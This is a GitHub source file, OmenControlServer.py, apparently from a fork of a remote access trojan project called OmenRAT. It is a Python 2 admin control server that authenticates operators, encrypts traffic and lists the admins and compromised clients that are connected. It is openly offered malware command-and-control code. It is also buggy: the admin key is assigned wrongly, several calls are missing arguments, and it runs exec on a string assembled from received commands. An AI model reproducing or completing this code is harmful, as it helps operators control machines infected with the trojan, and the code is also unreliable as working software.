forked from kaonashiHF/OmenRAT
-
Notifications
You must be signed in to change notification settings - Fork 2
/
OmenControlServer.py
159 lines (124 loc) · 5.19 KB
/
OmenControlServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import threading
import hashlib
import socket
import select
from EasyEncryption import *
class OmenControlServer(threading.Thread):
def __init__(self, port, key, adminkey, server, max_users=5):
threading.Thread.__init__(self)
# constants
self.max_users = max_users
self.port = port
self.adminkey = key
self.key = hashlib.sha256(key).digest()
self.server = server
# socket setup
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("", port))
self.sock.listen(5)
# client managment
self.descriptors = [self.sock]
self.clients = {}
self.client_id = 0
# commands for administraion
self.commands = {
"list": self.cmd_list,
}
# Omen Network Protocol
# All transfer is encrypted in AES256 with randomly generated IV's.
# !* - prefixes a commmand
# commands
def cmd_list(self, sock, args):
if len(args) != 1:
self.send_encrypt_data("!* invalid args", self.key, sock)
return
if args[0] == "admin":
client_list = self.clients
elif args[0] == "user":
client_list = self.server.clients
else:
self.send_encrypt_data("!* invalid args", self.key, sock)
# Display connected users/adminstrators
self.send_encrypt_data("!* begin")
try:
self.send_encrypt_data("{0} connected admin(s)".format(len(client_list.keys())), self.key, sock)
except IndexError:
self.send_encrypt_data("0 connected admins", self.key, sock)
try:
for id, sock in client_list.iteritems():
self.send_encrypt_data("ID: {0} ADDR: {2}".format(id, sock.getpeername()[0]), self.key, sock)
except KeyError:
print "KeyError"
self.send_encrypt_data("!* end")
def remove_connection(self, id, serv):
print "Removing user {0}...".format(id)
for c in serv.clients.keys():
if c == id:
sock = c
self.send_encrypt_data("!* conn_close", self.key, sock)
sock.close()
try:
serv.clients.pop(c)
serv.descriptors.remove(c)
except Exception, e:
print "Error removing user\n{0}".format(e)
def accept_new_connection(self):
newsock, addr = self.sock.accept()
print "Admin {0} connected.".format(addr[0])
self.send_encrypt_data("!* admin_verify", self.key, newsock)
try:
response = self.receive_decrypt_data(self.key, newsock)
except Exception, e:
print "Socket Error while verifying client {0}\n{1}".format(addr, e)
return
# Normal user verification -
if response == self.adminkey:
print "Verification of client {0} was successful."
# Verification successful.
self.descriptors.append(newsock)
self.clients[self.client_id] = self.descriptors[-1]
self.client_id += 1
else:
# Verification unsuccessful.
print "Verification of client {0} was unsuccessful."
newsock.close()
return
def run(self):
while True:
# wait for an event on a readable socket descriptor..
(sread, swrite, sexc) = select.select(self.descriptors, [], [])
# iterate through tagged read descriptors
for sock in sread:
if sock == self.sock:
# if we get a response on the server socket
self.accept_new_connection()
else:
host, port = sock.getpeername()
try:
data = self.receive_decrypt_data(self.key, sock)
except:
print "Admin {0} disconnected."
sock.close()
self.descriptors.remove(sock)
for key, value in self.clients.iteritems():
if value == sock:
self.clients.pop(key)
continue
if data.startswith("!* "):
print "Received command from admin {0}".format(host)
data = data.replace("!* ", "")
l = data.split(" ")
cmd = l[0]
args = l[1:]
for f in dir(self):
if f == "cmd_{0}".format(cmd):
f = "{0}({1})".format(f, sock, args)
try:
exec f
except Exception, e:
print "Failed to process command {0}. Reason:\n{1}".format(cmd, e)
sock.send("!* cmd_invalid")
else:
print "Recieved unformatted data from admin{0}\n{1}".format(host, data)
sock.send("!* cmd_invalid")